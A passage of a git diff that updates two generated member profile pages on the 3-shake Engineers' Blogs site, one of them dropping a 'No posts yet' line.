\ No newline at end of file diff --git a/members/yteraoka.html b/members/yteraoka.html index 3acd4442d1..8a09fd1a6a 100644 --- a/members/yteraoka.html +++ b/members/yteraoka.html @@ -1 +1 @@ -yteraoka | 3-shake Engineers' Blogs
3-shake Engineers' Blogs3-shake
Engineers' Blogs
RSSRecruitCompany
yteraoka

yteraoka

ojisan

Twitterのユーザー@yteraokaGitHubのユーザー@yteraokaウェブサイトのリンク

© 3-shake Inc.

\ No newline at end of file +yteraoka | 3-shake Engineers' Blogs
3-shake Engineers' Blogs3-shake
Engineers' Blogs
RSSRecruitCompany
yteraoka

yteraoka

ojisan

Twitterのユーザー@yteraokaGitHubのユーザー@yteraokaウェブサイトのリンク

© 3-shake Inc.

\ No newline at end of file diff --git a/members/yuu0w0yuu.html b/members/yuu0w0yuu.html index 4dd97f6985..99337610c8 100644 --- a/members/yuu0w0yuu.html +++ b/members/yuu0w0yuu.html @@ -1 +1 @@ -Yutaro Shirayama | 3-shake Engineers' Blogs
3-shake Engineers' Blogs3-shake
Engineers' Blogs
RSSRecruitCompany
Yutaro Shirayama

Yutaro Shirayama

( ˘ω˘ )

Twitterのユーザー@yuu0w0yuuGitHubのユーザー@yuu0w0yuu
No posts yet

© 3-shake Inc.

\ No newline at end of file +Yutaro Shirayama | 3-shake Engineers' Blogs
3-shake Engineers' Blogs3-shake
Engineers' Blogs
RSSRecruitCompany
Yutaro Shirayama

Yutaro Shirayama

( ˘ω˘ )

Twitterのユーザー@yuu0w0yuuGitHubのユーザー@yuu0w0yuu

© 3-shake Inc.

\ No newline at end of file